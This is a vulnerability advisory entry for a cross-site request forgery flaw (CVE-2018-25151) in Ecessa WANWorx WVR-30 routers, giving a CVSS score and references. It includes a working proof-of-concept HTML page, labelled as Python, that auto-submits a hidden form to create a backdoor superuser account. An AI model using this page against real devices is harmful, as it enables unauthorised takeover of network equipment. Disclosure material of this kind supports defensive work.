CVE-2018-25151

Description

Ecessa WANWorx WVR-30 versions before 10.7.4 contain a cross-site request forgery vulnerability that allows attackers to perform administrative actions without request validation. Attackers can craft a malicious web page with a hidden form to create a new superuser account by tricking an authenticated administrator into loading the page.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ecessa WANWorx WVR-30 < 10.7.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2018-25151 CSRF PoC for creating superuser on Ecessa WANWorx WVR-30 -->
<!-- This PoC creates a new superuser account with admin privileges -->

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <form action="http://<target_ip>/cgi-bin/manage.cgi" method="POST" id="csrf-form">
        <!-- Hidden fields for user creation -->
        <input type="hidden" name="action" value="add_user">
        <input type="hidden" name="user_type" value="superuser">
        <input type="hidden" name="username" value="backdoor_admin">
        <input type="hidden" name="password" value="P@ssw0rd123!">
        <input type="hidden" name="confirm_password" value="P@ssw0rd123!">
        <input type="hidden" name="privileges" value="full">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25151
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25151
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25151/
[4] VulDB https://vuldb.com/cve/CVE-2018-25151
[5] https://www.ecessa.com
[6] https://www.exploit-db.com/exploits/44936

Raw JSON Data

JSON

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